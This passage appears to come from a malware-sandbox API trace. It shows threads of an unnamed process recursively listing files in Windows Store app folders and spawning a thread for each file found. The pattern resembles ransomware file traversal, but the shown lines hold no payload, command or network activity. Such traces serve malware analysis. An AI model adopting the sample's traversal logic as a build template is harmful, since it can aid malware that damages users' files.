	[0078.789] wcscat (in: _Dest=0x4768458, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4768458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c
	[0078.902] FindNextFileW (in: hFindFile=0x2dad1f8, lpFindFileData=0x2dbeec0 | out: lpFindFileData=0x2dbeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c3b24a6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab4afc0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9c3b24a6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.902] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.902] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.902] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477f290
	[0078.902] wcscpy (in: _Dest=0x477f290, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe"
	[0078.902] wcscat (in: _Dest=0x477f290, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.902] wcscat (in: _Dest=0x477f290, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0078.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477f290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe7c
	[0078.902] FindNextFileW (in: hFindFile=0x2dad1f8, lpFindFileData=0x2dbeec0 | out: lpFindFileData=0x2dbeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c50b0ee, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x9c50b0ee, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x9c50b0ee, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.902] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.902] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.902] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ebbb8
	[0078.903] wcscpy (in: _Dest=0x47ebbb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe"
	[0078.903] wcscat (in: _Dest=0x47ebbb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.903] wcscat (in: _Dest=0x47ebbb8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ebbb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe80
	[0078.903] FindNextFileW (in: hFindFile=0x2dad1f8, lpFindFileData=0x2dbeec0 | out: lpFindFileData=0x2dbeec0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb932fcac, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb932fcac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb932fcac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.903] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.903] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.903] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x2d894a8
	[0078.903] wcscpy (in: _Dest=0x2d894a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe"
	[0078.903] wcscat (in: _Dest=0x2d894a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.903] wcscat (in: _Dest=0x2d894a8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.1.25002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d894a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe84
	[0078.904] FindNextFileW (in: hFindFile=0x2dad1f8, lpFindFileData=0x2dbeec0 | out: lpFindFileData=0x2dbeec0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb932fcac, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb932fcac, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb932fcac, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0078.904] FindClose (in: hFindFile=0x2dad1f8 | out: hFindFile=0x2dad1f8) returned 1
	[0078.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbeec0) returned 1
	[0078.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e958) returned 1
	[0078.905] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782f08) returned 1

Thread:
	id = 270
	os_tid = 0x874

	[0076.795] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x2d7ed68
	[0076.795] wcscpy (in: _Dest=0x2d7ed68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0076.795] wcscat (in: _Dest=0x2d7ed68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0076.795] wcscat (in: _Dest=0x2d7ed68, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\*"
	[0076.795] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dc06d0
	[0076.795] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\*", lpFindFileData=0x2dc06d0 | out: lpFindFileData=0x2dc06d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fe54df6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbad8fd68, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad8fd68, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad338
	[0078.783] wcscmp (_String1=".", _String2=".") returned 0
	[0078.783] FindNextFileW (in: hFindFile=0x2dad338, lpFindFileData=0x2dc06d0 | out: lpFindFileData=0x2dc06d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fe54df6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbad8fd68, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad8fd68, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.787] wcscmp (_String1="..", _String2=".") returned 1
	[0078.787] wcscmp (_String1="..", _String2="..") returned 0
	[0078.787] FindNextFileW (in: hFindFile=0x2dad338, lpFindFileData=0x2dc06d0 | out: lpFindFileData=0x2dc06d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe54df6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fe54df6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fe54df6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.787] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.787] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.787] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ea808
	[0078.787] wcscpy (in: _Dest=0x47ea808, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0078.787] wcscat (in: _Dest=0x47ea808, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0078.787] wcscat (in: _Dest=0x47ea808, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ea808, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698
	[0078.906] FindNextFileW (in: hFindFile=0x2dad338, lpFindFileData=0x2dc06d0 | out: lpFindFileData=0x2dc06d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe54df6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fe54df6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fe54df6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0078.906] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0078.906] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0078.906] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47eb168
	[0078.906] wcscpy (in: _Dest=0x47eb168, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0078.906] wcscat (in: _Dest=0x47eb168, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0078.906] wcscat (in: _Dest=0x47eb168, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml"
	[0078.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eb168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe88
	[0078.907] FindNextFileW (in: hFindFile=0x2dad338, lpFindFileData=0x2dc06d0 | out: lpFindFileData=0x2dc06d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe54df6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fe54df6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fe54df6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x296e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.907] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.907] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.907] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47eacb8
	[0078.907] wcscpy (in: _Dest=0x47eacb8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0078.907] wcscat (in: _Dest=0x47eacb8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0078.907] wcscat (in: _Dest=0x47eacb8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eacb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe8c
	[0078.908] FindNextFileW (in: hFindFile=0x2dad338, lpFindFileData=0x2dc06d0 | out: lpFindFileData=0x2dc06d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fe54df6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab549f27, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fed1b77, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0078.908] wcscmp (_String1="Assets", _String2=".") returned 1
	[0078.908] wcscmp (_String1="Assets", _String2="..") returned 1
	[0078.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x477dda8
	[0078.908] wcscpy (in: _Dest=0x477dda8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0078.908] wcscat (in: _Dest=0x477dda8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0078.908] wcscat (in: _Dest=0x477dda8, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0078.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477dda8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe90
	[0078.909] FindNextFileW (in: hFindFile=0x2dad338, lpFindFileData=0x2dc06d0 | out: lpFindFileData=0x2dc06d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbad8fd68, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbad8fd68, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad8fd68, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.909] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.909] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.909] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x4790b40
	[0078.909] wcscpy (in: _Dest=0x4790b40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0078.909] wcscat (in: _Dest=0x4790b40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0078.909] wcscat (in: _Dest=0x4790b40, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4790b40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe94
	[0078.910] FindNextFileW (in: hFindFile=0x2dad338, lpFindFileData=0x2dc06d0 | out: lpFindFileData=0x2dc06d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fed1b77, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fed1b77, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fed1b77, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0078.910] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0078.910] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0078.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4767978
	[0078.910] wcscpy (in: _Dest=0x4767978, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0078.910] wcscat (in: _Dest=0x4767978, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0078.910] wcscat (in: _Dest=0x4767978, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_split.scale-200_8wekyb3d8bbwe\\resources.pri"
	[0078.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4767978, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe98
	[0078.910] FindNextFileW (in: hFindFile=0x2dad338, lpFindFileData=0x2dc06d0 | out: lpFindFileData=0x2dc06d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fed1b77, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fed1b77, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fed1b77, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0078.910] FindClose (in: hFindFile=0x2dad338 | out: hFindFile=0x2dad338) returned 1
	[0078.911] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc06d0) returned 1
	[0078.911] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ed68) returned 1
	[0078.911] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d53788) returned 1

Thread:
	id = 271
	os_tid = 0xcec

	[0076.795] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61c60
	[0076.795] wcscpy (in: _Dest=0x2d61c60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe"
	[0076.795] wcscat (in: _Dest=0x2d61c60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\"
	[0076.795] wcscat (in: _Dest=0x2d61c60, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\*"
	[0076.795] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbf128
	[0076.795] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2dbf128 | out: lpFindFileData=0x2dbf128*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed19195, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbad4389d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad4389d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad0f8
	[0078.779] wcscmp (_String1=".", _String2=".") returned 0
	[0078.779] FindNextFileW (in: hFindFile=0x2dad0f8, lpFindFileData=0x2dbf128 | out: lpFindFileData=0x2dbf128*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ed19195, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbad4389d, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad4389d, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.779] wcscmp (_String1="..", _String2=".") returned 1
	[0078.779] wcscmp (_String1="..", _String2="..") returned 0
